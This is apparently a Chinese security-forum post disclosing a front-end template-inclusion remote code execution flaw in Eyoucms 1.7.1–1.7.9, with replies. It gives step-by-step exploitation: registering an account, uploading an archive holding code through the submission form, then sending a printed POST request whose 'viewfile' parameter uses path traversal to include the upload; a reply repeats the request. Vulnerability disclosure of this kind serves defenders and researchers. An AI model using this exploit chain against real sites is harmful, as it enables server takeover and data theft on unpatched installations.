[原创][原创]Eyoucms v1.7.9-1.7.1前台模板包含rce-WEB安全-看雪安全社区

[原创][原创]Eyoucms v1.7.9-1.7.1前台模板包含rce

发表于: 2026-5-29 10:08 4652

[原创][原创]Eyoucms v1.7.9-1.7.1前台模板包含rce

mb_cekhmgjj 活跃值

2026-5-29 10:08

4652

漏洞1、Eyoucms v1.7.9-1.7.1前台模板包含rce
1、官网下载源码：fdeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6#2M7r3c8S2N6r3g2Q4x3X3g2W2P5h3!0#2j5$3#2K6i4K6u0W2j5$3!0E0i4K6u0r3M7$3!0#2M7X3y4W2i4K6u0r3c8i4W2G2N6f1y4y4f1#2)9J5k6q4j5I4i4K6u0W2y4#2)9J5k6e0q4Q4x3X3c8g2g2p5j5^5i4K6u0V1f1#2l9I4i4K6u0W2P5X3W2H3i4@1g2r3i4@1u0o6i4K6S2o6i4@1f1%4i4K6R3&6i4K6R3^5i4@1f1$3i4K6W2o6i4@1q4o6x3g2)9J5k6e0N6Q4x3X3f1I4i4K6u0V1x3g2)9J5k6e0N6Q4x3X3f1&6i4@1f1%4i4K6R3&6i4K6R3^5i4@1f1$3i4K6W2o6i4@1q4o6i4@1f1K6i4K6R3H3i4K6R3J5
2、在C:\phpEnv\www\6e0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3#2Q4y4f1y4S2M7s2m8D9K9h3y4S2N6r3W2G2L8W2)9#2b7$3q4H3K9g2)9#2b7$3y4G2L8Y4c8J5L8$3I4D9k6i4u0Q4y4f1y4p5K9i4W2S2K9X3q4^5i4K6u0W2M7r3S2H3
通过源码发现viewfiles是可控的，通过设置自己的文件进行渲染包含来执行任意代码，实现rce.
 ![图片描述](upload/attach/202605/1051821_QEN7EGYY7BXDM36.webp)
3、通过注册一个用户，然后投稿或者头像上传一张代码图片。
 ![图片描述](upload/attach/202605/1051821_VZS88U6HJGF8C6Z.webp)
4、点击-注册账号
 ![图片描述](upload/attach/202605/1051821_24CKY2ZVUMDGPRT.webp)
5、或者直接访问5b0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9K6c8X3#2Q4x3@1c8#2M7$3g2J5i4K6t1$3j5#2)9K6c8q4g2K6k6i4u0K6i4K6t1$3j5g2)9K6c8s2u0W2k6H3`.`.
 ![图片描述](upload/attach/202605/1051821_3H54NTJ99G3EUZS.webp)
6、注册一个用户名：test 密码:test123@
 ![图片描述](upload/attach/202605/1051821_AM2S8WHAZTV8FD2.webp)
7、我的信息-》我要投稿-》上传图片或者附件-》上传代码马儿的test.rar。
 ![图片描述](upload/attach/202605/1051821_29F87DG3NUSNGKU.webp)
 ![图片描述](upload/attach/202605/1051821_76MAZ6P62ZXZSDK.webp)
 ![图片描述](upload/attach/202605/1051821_XE4CR7RSGE8BTPW.webp)
 ![图片描述](upload/attach/202605/1051821_GMJM86EJFJ55TMS.webp)

代理捉包记得带上包头记得加上X-Requested-With: XMLHttpRequest
复现请求包：
POST /index.php?m=api&c=Diyajax&a=check_userinfo HTTP/1.1
Host: b82K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3@1`.
Content-Length: 69
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: text/html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: 610K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3@1`.
Referer: 5c7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9K6c8X3#2Q4x3@1c8#2M7$3g2J5i4K6t1$3j5#2)9K6c8q4g2K6k6i4u0K6i4K6t1$3j5g2)9K6c8r3W2F1k6r3g2^5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pbscb9ru6u67o0fdf1fn71npv8; home_lang=cn; admin_lang=cn; referurl=http%3A%2F%2F831K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3g2&6L8%4g2U0L8i4x3I4y4K6q4Q4x3X3g2U0L8$3#2Q4x3U0f1J5c8X3W2F1k6r3g2^5i4K6u0W2M7r3S2H3i4K6y4n7 users_id=1; left_menu_2024=0
Connection: close

_ajax=1&viewfile=../../../uploads/allimg/20260509/-260509143K3296.rar

回复或点赞可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

收藏・1

点赞・12

打赏

最新回复 (10)
mb_xjdhrmck 雪币： 276 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 146 粉丝 0 关注私信	mb_xjdhrmck 2 楼 666 2026-5-29 16:41 0
ClPrada 雪币： 3 活跃值： (185) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 50 粉丝 0 关注私信	ClPrada 3 楼 2026-5-29 17:04 0
yinsel 雪币： 470 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 37 粉丝 0 关注私信	yinsel 4 楼 666牛逼 2026-5-30 09:57 0
xingbing 雪币： 158 活跃值： (5671) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 1376 粉丝 2 关注私信	xingbing 5 楼牛 2026-5-30 13:56 0
hc3w 雪币： 228 活跃值： (249) 能力值： ( LV2，RANK：10 ) 在线值：发帖 10 回帖 39 粉丝 0 关注私信	hc3w 6 楼看看。。 2026-6-11 16:08 0
wx_倘若只如初见雪币： 0 活跃值： (175) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	wx_倘若只如初见 7 楼 2026-7-13 14:06 0
superwudibie 雪币： 220 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 8 粉丝 0 关注私信	superwudibie 8 楼 111 2026-7-27 11:46 0
inono 雪币： 7 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 19 粉丝 0 关注私信	inono 9 楼 111111 2026-7-29 17:32 0
mb_wqzvmcbw 雪币： 199 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_wqzvmcbw 10 楼大佬复现不了啊 POST /index.php?m=api&c=Diyajax&a=check_userinfo HTTP/1.1 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 _ajax=1&viewfile=../../../uploads/allimg/20260825/-260508253K3296.rar 不执行 2026-9-1 18:02 0
mb_onwiejcq 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_onwiejcq 11 楼牛逼，复现成功最后于 2026-9-5 03:27 被mb_onwiejcq编辑，原因： 2026-9-5 03:26 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

mb_cekhmgjj

发帖

回帖

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (10)
mb_xjdhrmck 雪币： 276 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 146 粉丝 0 关注私信	mb_xjdhrmck 2 楼 666 2026-5-29 16:41 0
ClPrada 雪币： 3 活跃值： (185) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 50 粉丝 0 关注私信	ClPrada 3 楼 2026-5-29 17:04 0
yinsel 雪币： 470 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 37 粉丝 0 关注私信	yinsel 4 楼 666牛逼 2026-5-30 09:57 0
xingbing 雪币： 158 活跃值： (5671) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 1376 粉丝 2 关注私信	xingbing 5 楼牛 2026-5-30 13:56 0
hc3w 雪币： 228 活跃值： (249) 能力值： ( LV2，RANK：10 ) 在线值：发帖 10 回帖 39 粉丝 0 关注私信	hc3w 6 楼看看。。 2026-6-11 16:08 0
wx_倘若只如初见雪币： 0 活跃值： (175) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	wx_倘若只如初见 7 楼 2026-7-13 14:06 0
superwudibie 雪币： 220 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 8 粉丝 0 关注私信	superwudibie 8 楼 111 2026-7-27 11:46 0
inono 雪币： 7 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 19 粉丝 0 关注私信	inono 9 楼 111111 2026-7-29 17:32 0
mb_wqzvmcbw 雪币： 199 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_wqzvmcbw 10 楼大佬复现不了啊 POST /index.php?m=api&c=Diyajax&a=check_userinfo HTTP/1.1 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 _ajax=1&viewfile=../../../uploads/allimg/20260825/-260508253K3296.rar 不执行 2026-9-1 18:02 0
mb_onwiejcq 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_onwiejcq 11 楼牛逼，复现成功最后于 2026-9-5 03:27 被mb_onwiejcq编辑，原因： 2026-9-5 03:26 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复